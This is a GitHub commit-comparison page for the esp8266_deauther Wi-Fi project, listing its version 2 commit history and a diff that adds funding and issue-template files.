Compare commits

...

265 Commits
v2.0.5 ... v2

Author SHA1 Message Date
Stefan b98f159811
New readme 2022-12-18 18:34:45 +01:00
Temm 02d5ad0d2a
Fix setChannel range check (#1495) 2022-04-18 12:24:46 +02:00
azzar 7d6f22c4e6
Update DisplayUI.cpp (#1540)
replace wrong comments
2022-04-18 12:23:52 +02:00
Stefan Kremser da75a4f954
Update FUNDING.yml 2022-04-09 22:25:32 +02:00
Stefan Kremser a1f467ed6e
Update stale.yml 2021-12-12 21:00:03 +01:00
Devin Norgarb bbe1b24e30
Update README.md (#1420)
small grammatical + spelling  typo Readme
2021-08-21 13:46:31 +02:00
Erdinc 8dd2a58ba2
version updated to 2.6.1 on web interface (#1468) 2021-08-21 13:46:01 +02:00
Spacehuhn 7f7d215305 Update compile script 2021-08-07 16:09:08 +02:00
Spacehuhn 684e47f7d5 Added Hackheld Vega bin 2021-08-07 16:08:56 +02:00
Spacehuhn f984e897a0 Upped version to 2.6.1 2021-08-07 15:24:55 +02:00
Spacehuhn 7a574188c7 Made Neopixel run on 800 Khz 2021-08-07 15:12:44 +02:00
Spacehuhn 1ed2f127fd Added Hackheld Vega config 2021-08-07 15:12:38 +02:00
Spacehuhn 397ec9fc70 Change beacon interval to 100ms 2021-08-07 15:12:27 +02:00
Spacehuhn f3432d20fb Change beacon interval to 100ms 2021-02-17 18:16:42 +01:00
Spacehuhn 27b921e44f Removed redundant DEFAULT_SSID 2021-02-03 19:52:44 +01:00
Spacehuhn bbafd9fdf2 Fixed msg not defined error 2021-02-01 21:50:24 +01:00
Spacehuhn 60be948cc0 Web interface "loading..." banner 2021-01-31 13:09:56 +01:00
Spacehuhn 8b99fcbb33 Compiled web files 2021-01-29 17:50:50 +01:00
Spacehuhn 84f2f83f13 Info on clicking WiFi Off
Informs the user that they can reconnect after restarting
2021-01-29 17:49:13 +01:00
Ignatius Tremor fe06b87dc1
Fix for setting web AP channel (#1388)
* Deleted wifi channel set without effect

* When initializing wifi, use actual channel from settings instead of always using channel 1
2021-01-24 23:36:33 +01:00
Spacehuhn 535d2d3f95 Fixed 404 errors when using littlefs 2021-01-23 12:46:59 +01:00
Spacehuhn 4bd56ff755 Fixed clock going out of sync 2021-01-23 12:37:01 +01:00
Spacehuhn 8c289baf33 Fixed issue with LittleFS (webSpiffs) setup 2021-01-23 12:36:46 +01:00
Spacehuhn 4e7264bc4f Clock submenu 2021-01-23 12:05:33 +01:00
Spacehuhn 0272e83c3d Fixed clock update
https://github.com/SpacehuhnTech/esp8266_deauther/issues/1385

https://github.com/SpacehuhnTech/esp8266_deauther/issues/1384
2021-01-23 11:52:44 +01:00
Spacehuhn 333e3ebd86 Removed remnants of forcePackets setting
The setting was already removed in 2019 with the rewrite of  the settings module. In my tests, it didn't make the performance better, but added complexity and made the web interface unstable.
2021-01-17 11:19:08 +01:00
Spacehuhn abf56ca866 Fixed compiler script 2021-01-17 11:03:05 +01:00
Spacehuhn d06e5d35c8 Added pl.lang 2021-01-16 10:24:38 +01:00
Spacehuhn 33c999c334 Compiled web files 2021-01-14 22:18:31 +01:00
Spacehuhn e01e95bc08 Added ko.lang 2021-01-14 22:17:47 +01:00
Spacehuhn 33e0cd2250 Increased name length to 17 2021-01-14 21:57:05 +01:00
Spacehuhn 85b37e7bb1 Merged .uk lang 2021-01-14 16:03:08 +01:00
Spacehuhn 2f43126301 Improved web responsiveness
By only forcing a channel change when required by the attack
2021-01-13 11:57:42 +01:00
Stefan Kremser d4ba63789b
Update README.md 2021-01-12 18:32:19 +01:00
Spacehuhn 247f9ce336 Reintroduced led command 2021-01-12 14:11:26 +01:00
Spacehuhn 3e4e699e78 Fix channel hopping issue 2021-01-12 13:24:30 +01:00
Spacehuhn 1e93e65355 Fixed nightly workflow 2021-01-11 20:59:59 +01:00
Stefan Kremser 0d9f4388fb
Update README.md 2021-01-11 20:52:23 +01:00
Spacehuhn 371982c03b Compiled web files 2021-01-11 20:42:58 +01:00
Spacehuhn 8715dc5478 Updated README.md 2021-01-11 19:12:58 +01:00
Spacehuhn 10e3c82f59 Missing semicolon 2021-01-11 18:19:27 +01:00
Spacehuhn 6ffc5506a0 Added display examples to compiler script 2021-01-11 18:17:08 +01:00
Spacehuhn d01bd2bfc4 Updated copyright in code 2021-01-11 18:14:55 +01:00
Spacehuhn d95d7c7aa7 Visual improvements for web interface 2021-01-11 18:04:59 +01:00
Spacehuhn 077eee674b Update version number 2021-01-11 16:14:26 +01:00
Spacehuhn e0ed92ec38 Made web interface URL and IP customisable 2021-01-11 16:10:15 +01:00
Spacehuhn df03cac35f Adjusted LED brightness for example configs 2021-01-11 14:23:28 +01:00
Spacehuhn 4f89248e71 Display example configs 2021-01-11 12:24:45 +01:00
Spacehuhn aa577ebe11 Draw "Resetting..." on OLED 2021-01-11 11:58:20 +01:00
Spacehuhn 0c908c577c Draw "> Scanning..." at startup on OLED 2021-01-11 11:58:01 +01:00
Spacehuhn 85a7c12b97 Fixed Dotstar support 2021-01-11 11:15:22 +01:00
Spacehuhn 57e50ea65f Reset settings via button
Hold button (config defaults to gpio 0) for 5 seconds to reset settings
2021-01-10 23:22:29 +01:00
Spacehuhn a559457dd9 Maltronics Deauther config 2021-01-10 22:45:40 +01:00
Spacehuhn e238ae11c6 Included necessary libraries locally 2021-01-10 22:30:14 +01:00
Spacehuhn 51429b8c37 Removed config duplicates 2021-01-10 22:26:48 +01:00
Spacehuhn 57bd66c249 Compiled web files 2021-01-10 18:49:21 +01:00
Spacehuhn 5d5b385d7e Merge remote-tracking branch 'Kry9toN/v2' into v2.5 2021-01-10 18:27:49 +01:00
Spacehuhn 2641985940 Updated welcome message 2021-01-10 18:20:46 +01:00
Spacehuhn 6b4db8ff4a Merge branch 'v2' into v2.5 2021-01-10 18:16:18 +01:00
Kry9toN 3e160481ed
add indonesia language
- add in.lang
- regen code and archive from script utils
2020-11-02 15:21:23 +07:00
Stefan Kremser e3c706e9a4
Update config.yml 2020-10-26 11:54:56 +01:00
Phil Eichinger 2be65e7274
Update german translation (#1331)
* web_interface: de: Fix grammar

See also: https://www.duden.de/rechtschreibung/Display

* web_interface: de: Fix typo

See also: https://www.duden.de/rechtschreibung/Intervall

* web_interface: de: Fix structure of sentence

This was not a proper german sentence.

* web_interface: de: Fix capitalization

Versenden is used a noun

* web_interface: de: Fix typo

See also: https://www.duden.de/rechtschreibung/Datei

* web_interface: de: Fix typo

* web_interface: de: Fix capitalizition

* web_interface: de: Add translation
2020-10-26 00:35:09 +01:00
Stefan Kremser 8e3443502f
Merge pull request #1278 from victor-kayan/update-pt-br-lang
Update web interface pt-br language
2020-10-26 00:34:04 +01:00
Stefan Kremser 8991ef7b8e
Merge pull request #1324 from saskadaniel/v2
This is a lang file for Hungarian (hu) translated from the English lang file.
2020-10-26 00:25:43 +01:00
saskadaniel ec833526c9
Hungarian translation 2020-10-08 14:04:42 +02:00
Stefan Kremser ca12730069
Merge pull request #1322 from kawaiipantsu/webui-add-lang-da
Added lang file DA
2020-10-04 20:06:41 +02:00
David Bjørnsten-Lindhard 99ee3299f8 Added lang file DA 2020-10-04 19:13:00 +02:00
Stefan Kremser 063baaeeb9
Merge pull request #1320 from 13r1ckz/Add_NL_lang_file
Add nl lang file
2020-10-03 09:59:10 +02:00
13r1ckzi7rtx2080S 65cc59b7d1 add nl lang file 2020-10-02 23:23:42 +02:00
13r1ckzi7rtx2080S 4f4cb099e9 Add lang nl file 2020-10-02 23:18:43 +02:00
Spacehuhn 9904b0ea87 Fix config for new dstike watch 2020-08-07 18:28:58 +02:00
Stefan Kremser a07a054944 Create FUNDING.yml 2020-07-29 19:59:09 +02:00
Stefan Kremser 1157233aef
Create FUNDING.yml 2020-07-29 19:57:42 +02:00
Victor Kayan d63248b99f Update web interface pt-br language 2020-07-22 17:34:40 -03:00
Spacehuhn 85664ec6c2 Fixed captive portal setting 2020-07-21 18:16:18 +02:00
Spacehuhn 7d9c2f5d84 Don't count time manually when RTC enabled 2020-07-21 17:37:36 +02:00
Spacehuhn c1121494c6 Updated config define names 2020-07-16 11:05:31 +02:00
Spacehuhn a843a58909 Fixed LED 2020-07-15 22:46:08 +02:00
Spacehuhn fd8e983bc1 Improved compiler script 2020-07-15 22:46:00 +02:00
Spacehuhn ac7bf78bcc Compiled web files 2020-07-15 21:57:53 +02:00
Spacehuhn 4557126842 Helper script for compiling bin files 2020-07-15 21:57:47 +02:00
Spacehuhn 2c330efa61 Restored led
Needed to fix case problems
2020-07-15 21:48:36 +02:00
Spacehuhn 51baeade1e Deleted LED 2020-07-15 21:48:31 +02:00
Spacehuhn 9362704ab3 Ignore py cache 2020-07-15 21:48:23 +02:00
Spacehuhn 5cbaa42a6e Updated copyright 2020-07-15 21:48:15 +02:00
Spacehuhn e4cb8f8f31 Updated webConverter for new files 2020-07-15 21:47:15 +02:00
Spacehuhn 04feef1298 Revert "Merge branch 'web_interface/refactor'"
This reverts commit 50458606a8.
2020-07-15 21:00:42 +02:00
Spacehuhn 7f29375e6d RTC 2020-07-15 20:25:31 +02:00
Spacehuhn 602a7a6f9b New DSTIKE board configs 2020-07-15 20:02:23 +02:00
Spacehuhn 6c842653c1 LED module 2020-07-15 20:02:09 +02:00
Spacehuhn 432297de9a Fix includes 2020-07-15 15:14:13 +02:00
Spacehuhn 15a8c66ab6 Fixed deauth attack 2020-07-14 18:08:11 +02:00
Spacehuhn 401d5c17c4 Refactored wifi.h into module 2020-07-14 18:07:42 +02:00
Spacehuhn 74067f0f87 Readding settings 2020-07-10 20:24:23 +02:00
Spacehuhn 24cd631b34 Delete settings 2020-07-10 20:23:22 +02:00
Stefan Kremser 37eaf039e6
Create arduino-cli.yaml 2020-07-10 19:48:06 +02:00
Stefan Kremser 2f6bf6fc21
Create nightly.yml 2020-07-10 18:39:37 +02:00
Spacehuhn 2dc92ca487 Merge branch 'v2' into v2.5 2020-07-05 19:28:30 +02:00
Spacehuhn 6d274803f3 Fix settings.json 2020-07-05 19:27:20 +02:00
Spacehuhn f74d7e3e1e Set version to 2.5 2020-07-05 16:34:53 +02:00
Spacehuhn f16b1f6ec9 Fixed settings save/load 2020-07-05 16:34:46 +02:00
Spacehuhn 83cd397494 Fixed remaining SPIFFS code 2020-07-05 16:34:27 +02:00
Spacehuhn 3affb69cb5 Replaced SPIFFS with LittleFS 2020-07-05 15:49:44 +02:00
Spacehuhn 8fc2bbcd95 Refactored settings 2020-07-05 15:48:39 +02:00
Spacehuhn b19e769517 Added debug.h 2020-07-05 15:41:00 +02:00
Spacehuhn 9441e36676 Ignore .map 2020-07-05 15:40:35 +02:00
Stefan Kremser 551ac16844
Update 3--feature-request.md 2020-06-23 09:19:21 +02:00
Stefan Kremser b6c5a88b6e
Update config.yml 2020-06-19 16:45:54 +02:00
Stefan Kremser de1537f35d
Update 1--error-report.md 2020-06-19 16:44:54 +02:00
Spacehuhn 501281c604 Updated welcome bot 2020-06-18 11:55:05 +02:00
Spacehuhn 710875284e Forced linebreaks 2020-06-17 12:16:27 +02:00
Spacehuhn 5840c8e671 Welcome message 2020-06-17 12:10:43 +02:00
Spacehuhn 2e5a6e07ac Fix for #1258 2020-06-17 10:05:25 +02:00
Spacehuhn 3e8874c809 Don't stale feature requests 2020-06-17 00:22:20 +02:00
Spacehuhn b57c327013 Added documentation issue template 2020-06-17 00:13:10 +02:00
Stefan Kremser 5db4994744
Update 1--error-report.md 2020-06-16 23:49:38 +02:00
Spacehuhn 5a5caaadba Updated default Issue template 2020-06-16 23:48:21 +02:00
Spacehuhn 717bf034b8 Issue templates 2020-06-16 23:43:24 +02:00
Spacehuhn f81ec429b5 Deleted FUNDING 2020-06-16 23:26:31 +02:00
Spacehuhn b1a57424e0 Updated stale bot
To exclude certain issues and label others as stale instead of wontfix
2020-06-16 21:24:14 +02:00
Spacehuhn 2ce3deae97 No stale label 2020-06-16 20:03:50 +02:00
Spacehuhn 4fbd495135 Added stale bot 2020-06-16 19:39:05 +02:00
Stefan Kremser 5f2b27ec03
Merge pull request #1242 from unguest/patch-1
Update fr.lang
2020-06-11 21:04:31 +02:00
Arthur Pons f99899f0aa
Update fr.lang
Correcting some mistakes and enhance the global quality of the text.
2020-05-10 23:02:11 +02:00
Stefan Kremser 5e2dbfc952
Update README.md 2020-05-07 23:47:59 +02:00
Stefan Kremser 2e565732ce
Merge pull request #1146 from sopanus2014/patch-1
thai language translate
2020-05-07 23:29:16 +02:00
Spacehuhn 53cb2fd9f2 Merge branch 'btdr' 2020-05-07 23:26:15 +02:00
Spacehuhn 50458606a8 Merge branch 'web_interface/refactor' 2020-05-07 23:25:37 +02:00
Spacehuhn d457085bf3 Captive DNS portal now functional 2020-05-07 23:21:25 +02:00
Spacehuhn a59b009f5f Merge branch 'v2.2' 2020-05-07 22:57:26 +02:00
Spacehuhn a9d9f15271 Merge branch 'addlang-200312' into v2.2 2020-05-07 22:48:57 +02:00
Spacehuhn 5827e1e65e Merge branch 'master' into v2.2 2020-05-07 22:47:36 +02:00
rrrrrrrreeeeeele 6240ce8016 Update ja.lang
Translated(japanese)
2020-03-12 15:52:18 +09:00
rrrrrrrreeeeeele 0007ad4be3 Create ja.lang
Maked ja.lang
2020-03-12 15:50:15 +09:00
Stefan Kremser dfcae87af6
Merge pull request #1200 from GlOwl/patch-1
fixed printing/removing order
2020-01-06 13:16:35 +01:00
GlOwl 0944a56cc2
fixed printing/removing order 2020-01-05 22:41:19 +01:00
Jan Rochalski 148552a10a chore(scan): refactor 2019-11-12 15:16:40 +01:00
Jan Rochalski db3b18dd04 chore(web_interface): refactor 2019-11-12 14:25:09 +01:00
Jan Rochalski 942f62bc53 feat(web_interface): js refactor 2019-11-12 13:59:23 +01:00
Stefan Kremser 34b6590c70
Merge pull request #1166 from BorcheM/v2.2
Show spaces SSID and password in settings in web interface
2019-10-20 08:19:20 +02:00
BorcheM 5052d804ca Added option for space in SSID and password 2019-10-20 01:55:55 +02:00
BorcheM 8841c00505
Merge pull request #1 from spacehuhn/v2.2
Attack timeout is changing display timeout FIX
2019-10-20 00:51:46 +02:00
Stefan Kremser fda01a6486
Create FUNDING.yml 2019-10-19 23:22:22 +02:00
Stefan Kremser 6d109dc4d8
Attack timeout is changing display timeout FIX
https://github.com/spacehuhn/esp8266_deauther/issues/1163
2019-10-16 08:34:28 +02:00
b00tk1ll 6cc802a0d0
PT-BR Translation
Web interface translation for Portuguese from Brazil
2019-10-04 17:59:58 -03:00
PLEUMKUNG 70048c5f6e
thai language translate
thai language translate
2019-09-14 20:09:20 +07:00
Stefan Kremser 1cb821d659 Fixed deallocation bug 2019-06-17 16:23:05 +02:00
Stefan Kremser 2f4836b3c8 Bug fixes for settings json 2019-05-28 21:44:24 +02:00
Stefan Kremser fba18d7c66 New CLI commands for getting and setting settings 2019-05-28 20:33:31 +02:00
Stefan Kremser bb8ec1f6f8 Comments 2019-05-24 12:54:17 +02:00
Stefan Kremser 9b68a86591 Removed old code 2019-05-24 12:54:09 +02:00
Stefan Kremser 04c0f6c67c Cleaned up Settings strings 2019-05-17 11:39:05 +02:00
Stefan Kremser e703486543 Option for forced formatting of spiffs and eeprom 2019-05-17 11:38:48 +02:00
Stefan Kremser b80cf4811d Updated Settings
- Added autosave settings with default values in A_config
- Moved strings from language in settings 
- Getter and setter only using the structs
- Json string is now generated manually to improve performance
2019-05-15 21:29:00 +02:00
Stefan Kremser d47bc85a14 Merge remote-tracking branch 'SentinelMKX/master' into v2.2 2019-05-14 10:41:08 +02:00
Stefan Kremser a23545894f Save settings in EEPROM using structs 2019-05-14 09:02:37 +02:00
Stefan Kremser c8a9ad50e9 Using EEPROMHelper to check the boot number 2019-05-14 08:34:35 +02:00
Stefan Kremser 92eb4f2b14 Added EEPROMHelper class 2019-05-14 08:34:17 +02:00
Stefan Kremser 0164f0a0c1 Removed forcePackets 2019-05-14 08:33:38 +02:00
Stefan Kremser 55c94f53e5 Updated Config file
Added EEPROM addresses for saving settings and boot counter.
Also fixed some typo bugs.
2019-05-14 08:26:48 +02:00
Stefan Kremser f17a5d7d27 Default settings in config 2019-05-12 12:21:17 +02:00
Stefan Kremser 46ffccb6bc Updated LED class, config for color modes
- No more led.tempDisable()
- Brightness is fixed and can't be changed
- led.setColor is now private
- setColor with brightness removed
- Removed unused strings from lang

Color modes can be adjusted in A_config now.
Color and Brightness are fixed and can not be changed over CLI anymore.
2019-05-10 13:11:37 +02:00
Stefan Kremser b498f03787 Removed LED command
Not really useful anyway, removing it makes things simpler.
2019-05-10 12:48:22 +02:00
Stefan Kremser faddfe8eb8 Removing Deauth LED Mode (now same as attack) 2019-05-10 12:13:24 +02:00
Stefan Kremser 1ee93f9f80 Fixed light bulb config 2019-05-10 08:01:57 +02:00
Stefan Kremser 9faf40e41a Only include the libraries that are used 2019-05-08 18:37:34 +02:00
Stefan Kremser 651294302f Renamed MY92 defines 2019-05-08 18:37:16 +02:00
Stefan Kremser 9172cffd7d Merge branch 'v2.1' into v2.2 2019-05-08 18:25:43 +02:00
Stefan Kremser 32c2294f90 Reworked A_Config.h
Now all hardware configurations are in one file and it's just a matter of commenting out one line to switch from one board to another.
2019-05-08 18:20:32 +02:00
Stefan Kremser 20a2be51dd Merge remote-tracking branch 'origin/master' 2019-05-08 15:50:08 +02:00
Stefan Kremser 4252b4f2f6 Refactored LED class
No more sub classes for faster compile times.
Libraries like Neopixel are only included if needed and there are less variables in the RAM.
2019-05-08 15:48:59 +02:00
Arisa f0009ea875 Improved "SCAN" Interface
So...
When one scan button is pressed(when scan is running we can say) you can't press the other one or reload button, you have to wait until some "certain amount of time"(I was trying adjust the times I hope it's good enough I hope I didn't miss anything).
Also  when you press scan button it will disappear for "certain amount of time" and then appear after that specified time.
I make this because if you accidentally press the button two times, or both at the same time it would show error and etc.. and this way it won't allow you to press it how you shouldn't and it won't show any error, it's more friendly-user I would say.
For Linux Firefox I removed the weird white dot line box around text inside the buttons.
To-do:
Maybe some loading animation under button, like when button disappears there will be maybe three sliding dots
2019-04-19 16:26:50 +02:00
Stefan Kremser 356574975a
Merge pull request #1089 from SentinelMKX/master
Added button:active(clicked) "animation"
2019-04-19 09:05:46 +02:00
Arisa 4a23c770be Added button:active(clicked) "animation"
I never knew if I clicked the button on touch screen, so I add animation when button is active  (clicked).
simple/nice/useful
2019-04-18 23:30:08 +02:00
Stefan Kremser a18c2938ed
Merge pull request #1081 from Stefan-Go/probePacket
Fix rates tag length in probe requests
2019-04-09 19:52:53 +02:00
Stefan 44f4b83468 Fix rates tag length in probe requests 2019-04-09 18:54:48 +02:00
Stefan Kremser 4add901b95
Merge pull request #1031 from chii0815/patch-1
Update A_config.h
2019-01-13 12:37:45 +01:00
chii0815 093944b578
Update A_config.h
Won't compile. duplicate display definition in define for SDD1306Spi
2019-01-13 12:27:22 +01:00
Stefan Kremser fcf927fb24
Merge pull request #1008 from michalmonday/master
Bootloop patch
2018-12-18 18:19:59 +01:00
deantonious 8cde440e24
Merge pull request #1010 from deantonious/master
Update es.lang.gz
2018-12-13 14:03:57 +01:00
deantonious 7c9d22ae49 Update es.lang.gz
Fixed Spanish language files
2018-12-13 13:39:38 +01:00
tobozo c31f32ab35
Merge pull request #1009 from tobozo/master
Making pasted compile logs less painful to the eyes
2018-12-13 13:31:27 +01:00
deantonious 6054c0344a Update es.lang
Fixed the Spanish language file
2018-12-13 13:19:07 +01:00
tobozo 40bf9b945b
Merge pull request #1 from tobozo/foldable-logs-in-issues
Making pasted compile logs less painful to the eyes
2018-12-13 12:59:16 +01:00
tobozo 504524aa7c
Making pasted compile logs less painful to the eyes 2018-12-13 12:55:16 +01:00
michalmonday e65c1da239 Bootlop fix
Changed few lines from: String(SOME_PROGMEM_VAR)
Into: str(SOME_PROGMEM_VAR)
2018-12-12 23:43:39 +00:00
Stefan Kremser 34915e2138 Fixed Spanish language file 2018-11-24 13:33:54 +01:00
Stefan Kremser 38146c9c77 Fixed stupid SSID bug 2018-11-21 16:49:13 +01:00
Stefan Kremser 7548bc591c Support for DSTIKE Deauther OLED v4 2018-11-21 16:49:02 +01:00
Stefan Kremser da372b8b71
Update README.md 2018-11-20 16:52:43 +01:00
Stefan Kremser 0f3732edd5
Update README.md 2018-11-20 16:48:13 +01:00
Stefan Kremser 01da395fa8
Update README.md 2018-11-20 16:46:21 +01:00
Stefan Kremser 5990072660
Update README.md 2018-11-20 16:28:33 +01:00
Stefan Kremser aae15ef6e1
Update README.md 2018-10-28 21:02:51 +01:00
Stefan Kremser a574956f53 Merge remote-tracking branch 'origin/master' 2018-10-28 20:59:02 +01:00
Stefan Kremser 4b0ce4a9c1 Updated Configs for Deauther Mini
Uses the same config as Deauther Wristband now
2018-10-27 09:49:33 +02:00
Stefan Kremser d4e8f376f8
Merge pull request #968 from cheng3100/bug_fix
fix line longer than maximum
2018-10-20 08:46:59 +02:00
cheng cd8286f7fb fix line too long 2018-10-20 12:56:29 +08:00
Stefan Kremser 19b01955f9 Fixed stupid integer overflow error
my bad
2018-10-18 09:19:20 +02:00
Stefan Kremser 87e98babbc Added ifdef for PROGMEM files in wifi class 2018-10-17 13:03:50 +02:00
Stefan Kremser 2f4a5b92ed Updated vertical scrolling for menus 2018-10-16 20:15:02 +02:00
Stefan Kremser 6bf882311b Fixed bug with font size 2018-10-16 11:54:22 +02:00
Stefan Kremser 82d4cf8c7e DSTIKE Deauther OLED mini 2018-10-15 16:16:46 +02:00
Stefan Kremser b322c23627
Update README.md 2018-10-15 16:16:26 +02:00
Stefan Kremser 3fd4d325c3
Update README.md 2018-10-15 16:00:01 +02:00
Stefan Kremser 4d7f677247
Update README.md 2018-10-15 15:57:01 +02:00
Stefan Kremser 50fe8a0276 Fixed problems with ArduinoJson
Problem solving 101 lol
2018-10-15 13:16:31 +02:00
Stefan Kremser b4c22d5a9e Merge remote-tracking branch 'origin/master' 2018-10-14 18:58:51 +02:00
Stefan Kremser 7f6cf6273c Cleaned up configs 2018-10-14 18:58:47 +02:00
Stefan Kremser 422a9cdc74
Ahhhhhhhhh 2018-10-14 17:36:22 +02:00
Stefan Kremser 982ce337ba
Update README.md 2018-10-14 17:36:10 +02:00
Stefan Kremser ffeae7ca1a Improved packetMonitor draw function 2018-10-14 17:32:16 +02:00
Stefan Kremser 30658583f1 Merge remote-tracking branch 'origin/master' 2018-10-14 17:01:23 +02:00
Stefan Kremser 2387e0395a ifdef for LED types 2018-10-14 17:01:17 +02:00
Stefan Kremser e6fe4fee27 Fake clock enabled by default 2018-10-14 17:01:10 +02:00
Stefan Kremser 95dc36850b
Update A_config.h 2018-10-14 16:56:45 +02:00
Stefan Kremser 83dd628bba
Update README.md 2018-10-14 16:49:22 +02:00
Stefan Kremser 4df68c5225
Update README.md 2018-10-14 16:40:53 +02:00
Stefan Kremser ee5c219a75
Update README.md 2018-10-14 16:40:22 +02:00
Stefan Kremser 609c102205
Added links 2018-10-14 16:39:11 +02:00
Stefan Kremser c9b0eea932 Updated version number to 2.1 2018-10-13 19:37:49 +02:00
Stefan Kremser e466566f62 Added fake clock feature for DSTIKE wristband 2018-10-13 19:31:03 +02:00
Stefan Kremser bd332d533e Beautified stuff 2018-10-12 21:16:06 +02:00
Stefan Kremser 30893f21b7 Set default channel to 9
NEIN
2018-10-12 21:08:07 +02:00
Stefan Kremser 763bff53d4 Cleaned up display class & fixed timeout 2018-10-12 21:07:59 +02:00
Stefan Kremser 7610db9534 Use SimpleButton Library 2018-10-12 14:34:18 +02:00
Stefan Kremser 7242543017 New string functions & better seperation of display functions 2018-10-12 13:41:26 +02:00
Stefan Kremser 9097a07a38 Removed maxCh setting 2018-10-12 12:43:58 +02:00
Stefan Kremser 8b39d2b520 Improved LED and Wristband Highlight LED support 2018-10-11 16:49:39 +02:00
Stefan Kremser 3230750a26 Command to stop endless script 2018-10-11 13:19:20 +02:00
Stefan Kremser 4a8c7c7877 Improved Beacon attack & preloaded SSIDs 2018-10-11 13:02:27 +02:00
Stefan Kremser 36e8a150f9 Improved scripting
Now scripts call other scripts and it won't execute a new command while a scan ro attack is running
2018-10-11 12:28:41 +02:00
Stefan Kremser 4589592a30 Select APs and STs by SSID name 2018-10-11 09:15:35 +02:00
Stefan Kremser fb2e49c014 Fixed sort of APs and STs 2018-10-11 09:15:17 +02:00
Stefan Kremser c56e67f24f Cleaned up Wifi class a bit 2018-10-10 18:51:28 +02:00
Stefan Kremser 3c52f4fdd1 Scan on autostart by default 2018-10-10 18:42:01 +02:00
Stefan Kremser ad9694a472 Don't print "Not found" for missing web files anymore
People seem to get confused by that so whatever
2018-10-10 18:41:39 +02:00
Stefan Kremser 899e4b3e9b Updated to newer version of SimpleList 2018-10-10 18:41:16 +02:00
Stefan Kremser a687a94546 Renamed SerialInterface to CLI 2018-10-10 18:13:10 +02:00
Stefan Kremser 5ed9cc9d9c Renamed LEDController to LED 2018-10-10 18:08:27 +02:00
Stefan Kremser 6b1d032b28 Updated web files 2018-10-10 18:02:28 +02:00
Stefan Kremser a129211bd1
Merge pull request #919 from R3dLion/patch-1
Spanish language
2018-10-10 17:40:56 +02:00
Stefan Kremser 20e562003b
Merge pull request #957 from edoffagne/typos
Fixed typos
2018-10-10 17:40:22 +02:00
Stefan Kremser b817ffa9d9
Update settings.md 2018-10-10 17:17:18 +02:00
Erik Doffagne a8e834f258 Fixed typos 2018-10-03 14:07:09 -07:00
Red c07d0e555e
Update es.lang 2018-07-15 23:01:51 +02:00
Red 2f53ce0ba7
Update es.lang 2018-07-15 23:01:06 +02:00
R3dLion e55f29656c
Spanish language 2018-07-13 18:06:04 +02:00
Stefan Kremser d964c5391c
Update README.md 2018-07-09 21:41:30 +02:00
Stefan Kremser feb20f76d9 MrRobotBadge Config 2018-07-09 21:29:40 +02:00
Stefan Kremser 9eefdf0220
Overwrite default SSID 2018-07-09 21:12:29 +02:00
tobozo 260f1bdbfd
Implicitely add `lang` attribute to the HTML page
so that language-specific CSS can be applied (see #909)
2018-07-05 08:04:04 +02:00
tobozo 976d31247b
Create fi.lang
see #907 credits to@developerfromjokela
2018-06-30 16:46:59 +02:00
Stefan Kremser 91c73b691d Config for new DSTIKE Board 2018-06-09 14:14:46 +02:00
Stefan Kremser f2ee8e0c1d Reset default config 2018-06-06 09:39:18 +02:00
Stefan Kremser c44444aa46 Whoops, deleted too much :D 2018-06-06 08:00:10 +02:00
Stefan Kremser 8d1feac89c Forgot to delete LED classes 2018-06-06 07:53:44 +02:00
Stefan Kremser dbf64be701 LED as inner classes
- everything about the LEDs is in the LEDController class now
- updated the configs to have a LED_NEOPIXEL_MODE definition
- removed the LED_DYNAMIC_BRIGHTESS from the config file (that wasn't really working anyway)
2018-06-05 18:54:34 +02:00
Stefan Kremser 8a0f48bb4b v2.0.6
Rewritten LED classes and simplified config files
2018-06-05 11:50:38 +02:00
tobozo 1d10f3e4d2
Merge pull request #883 from JosefKuchar/patch-1
Update czech language file based on suggestion
2018-06-02 22:40:16 +02:00
Josef Kuchař 737018d814
Update czech language file based on suggestion 2018-06-02 22:22:16 +02:00
tobozo d43845003e DIGITAL_LED can now be turned off by config 2018-05-27 15:28:17 +02:00
Stefan Kremser 8daf8cc91b Fixed opening SSID menu on displayUI
sorry totally forgot to fix it, but here it is!
2018-05-15 09:56:37 +02:00
Stefan Kremser dc10c87c09 Trying to fix mac problems 2018-05-09 19:07:03 +02:00
Stefan Kremser 2669cfa647
Update LICENSE 2018-05-04 14:56:35 +02:00
233 changed files with 29130 additions and 9531 deletions

12
.github/FUNDING.yml vendored Normal file
View File

@ -0,0 +1,12 @@
# These are supported funding model platforms
github: spacehuhntech
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: spacehuhn
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']

6
.github/ISSUE_TEMPLATE.md vendored Normal file
View File

@ -0,0 +1,6 @@
> Please search for existing (open and closed) issues first to avoid duplicates.
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).
```
PASTE YOUR ERROR/COMPILE LOGS HERE
```

View File

@ -0,0 +1,45 @@
---
name: 1. Problem or error report
about: I encountered a problem and need help to solve it
title: ""
labels: help wanted
assignees: ''
---
> Have you searched for existing (open and closed) issues describing the same problem?
Yes/No
**Describe the error**
A clear and concise description of what the problem is.
What do you think causes it?
```
Error/Compile/Output Log
```
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Environment (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 1.0]
- Hardware [e.g. DSTIKE, DIY]
**Attempts**
What have you already tried and didn't work out.
**Additional context**
Provide as much information as possible, better too much than too little!
If you don't use this template, your issue might be closed and tagged invalid!

11
.github/ISSUE_TEMPLATE/2--question.md vendored Normal file
View File

@ -0,0 +1,11 @@
---
name: 2. Question
about: I have a question about this project
title: ""
labels: question
assignees: ''
---
> Please search for existing (open and closed) issues first to avoid duplicates.
Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).

View File

@ -0,0 +1,24 @@
---
name: 3. Feature request
about: I have an idea to improve this project
title: ""
labels: feature request
assignees: ''
---
**Do similar feature requests issues already exist (open and closed)?**
If yes, please link them here:
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
